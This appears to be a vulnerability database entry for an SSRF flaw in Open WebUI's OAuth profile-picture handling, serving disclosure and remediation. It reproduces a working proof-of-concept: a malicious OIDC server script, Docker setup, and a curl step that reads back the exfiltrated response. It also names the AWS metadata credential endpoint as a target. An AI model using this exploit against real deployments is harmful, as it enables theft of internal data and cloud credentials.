Open WebUI CVE-2026-45338
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
# No validate_url() call here
async with aiohttp.ClientSession(trust_env=True) as session:
async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
if resp.ok:
picture = await resp.read()
base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'The codebase already uses validate_url() for the same SSRF protection pattern in other paths:
backend/open_webui/utils/files.py:38-validate_url(url)beforerequests.get(url)backend/open_webui/routers/images.py:800-validate_url(data)beforerequests.get(data)
The omission in _process_picture_url() is inconsistent with the project's own security practices.
Affected Code Paths
- New user OAuth signup (line ~1556):
picture_url = await self._process_picture_url(picture_url, token.get('access_token')) - Existing user picture update on login (line ~1536): when
OAUTH_UPDATE_PICTURE_ON_LOGIN=true
Steps to Reproduce
Prerequisites
- Open WebUI instance with generic OIDC OAuth configured
ENABLE_OAUTH_SIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse
SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if path == "/.well-known/openid-configuration":
self._json({"issuer":"http://host.docker.internal:9000",
"authorization_endpoint":"http://localhost:9000/authorize",
"token_endpoint":"http://host.docker.internal:9000/token",
"userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
"jwks_uri":"http://host.docker.internal:9000/jwks",
"response_types_supported":["code"],"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
elif path == "/authorize":
ru = query.get("redirect_uri",[""])[0]
st = query.get("state",[""])[0]
self.send_response(302)
self.send_header("Location", f"{ru}?code=poc-code&state={st}")
self.end_headers()
elif path == "/userinfo":
self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
elif path == "/jwks":
self._json({"keys":[]})
elif path == "/canary":
self.send_response(200)
self.send_header("Content-Type","text/plain")
body = CANARY.encode()
self.send_header("Content-Length",len(body))
self.end_headers()
self.wfile.write(body)
print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
else:
self.send_response(404); self.end_headers()
def do_POST(self):
if "/token" in self.path:
self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
"userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
def _json(self, d):
b = json.dumps(d).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",len(b))
self.end_headers()
self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()2. Run the PoC server:
python3 poc_oidc.py3. Start Open WebUI with Docker:
docker run -d -p 3000:8080 \
--name owui-ssrf-test \
--add-host=host.docker.internal:host-gateway \
-e ENABLE_OAUTH_SIGNUP=true \
-e WEBUI_AUTH=true \
-e OAUTH_CLIENT_ID=test-client \
-e OAUTH_CLIENT_SECRET=test-secret \
-e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
-e OAUTH_PROVIDER_NAME=TestOIDC \
-e "OAUTH_SCOPES=openid email profile" \
ghcr.io/open-webui/open-webui:main4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable:
curl -s http://localhost:3000/api/v1/auths/ \
-H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
print(f'DECODED: {decoded}')
"Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet
- Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.
Configuration Note
This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validate_url() before fetching, consistent with existing patterns in the codebase:
from open_webui.retrieval.web.utils import validate_url
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
if not picture_url:
return '/user.png'
try:
validate_url(picture_url)
# Add this line
# ... rest unchangedAnalysisAI
Server-Side Request Forgery (SSRF) in Open WebUI versions ≤0.8.12 allows authenticated users with OAuth access to force the server to make HTTP requests to arbitrary internal resources and exfiltrate complete response data. Exploitation requires OAuth-enabled deployments with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true. An attacker controls the OAuth provider's 'picture' claim URL, triggering server-side HTTP requests to cloud metadata services (AWS IMDS), localhost services (Redis, Elasticsearch), or internal network endpoints. The full response is base64-encoded and stored in the user's profile_image_url field, enabling complete data exfiltration. Fixed in version 0.9.0 per GitHub advisory GHSA-24c9-2m8q-qhmh. EPSS data not available; no CISA KEV listing indicates limited widespread exploitation, though publicly available proof-of-concept exists in the GitHub advisory.
Technical ContextAI
The vulnerability exists in the _process_picture_url() function in backend/open_webui/utils/oauth.py around line 1338, which processes OAuth profile picture URLs during OIDC authentication flows. The function uses aiohttp.ClientSession to fetch arbitrary URLs from OAuth 'picture' claims without applying the validate_url() security control that the codebase uses consistently in other URL-fetching code paths (files.py:38, images.py:800). This CWE-918 (Server-Side Request Forgery) flaw allows attackers to exploit the OAuth trust boundary - the server trusts that OAuth provider responses are safe, but an attacker controlling a malicious OAuth provider can inject URLs pointing to internal infrastructure. The affected package is pip/open-webui, deployed commonly via Docker containers with --add-host configurations that expose host.docker.internal to container workloads. The Python aiohttp library's trust_env=True setting respects proxy configurations, potentially expanding attack surface. The response is base64-encoded and stored in the database, creating a full-read SSRF channel rather than a blind attack.
RemediationAI
Upgrade to Open WebUI version 0.9.0 or later immediately per the vendor advisory at https://github.com/open-webui/open-webui/releases/tag/v0.9.0, which applies the validate_url() security control to _process_picture_url() consistent with existing SSRF protections elsewhere in the codebase. For deployments unable to upgrade immediately, implement compensating controls: (1) Disable OAuth picture processing by setting OAUTH_UPDATE_PICTURE_ON_LOGIN=false and ENABLE_OAUTH_SIGNUP=false, which blocks both exploitation paths but disables OAuth-based user onboarding - acceptable for existing-user-only environments but breaks new user workflows. (2) Deploy network segmentation to block Open WebUI containers from accessing cloud metadata endpoints (169.254.169.254/32) and internal service networks via firewall rules or Kubernetes NetworkPolicies - reduces blast radius but does not prevent localhost exploitation and requires infrastructure changes. (3) If using AWS, enforce IMDSv2 (requires token headers) instead of IMDSv1 to prevent simple GET-based credential theft - mitigates cloud metadata risk only, not general SSRF. (4) Restrict OAuth provider configuration to trusted identity providers only and audit existing OIDC integrations for compromise - operational overhead and doesn't prevent insider threats. The upgrade to 0.9.0 is the only complete mitigation; workarounds significantly degrade OAuth functionality or require complex infrastructure changes.
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External POC / Exploit Code
Leaving vuln.today
GHSA-24c9-2m8q-qhmh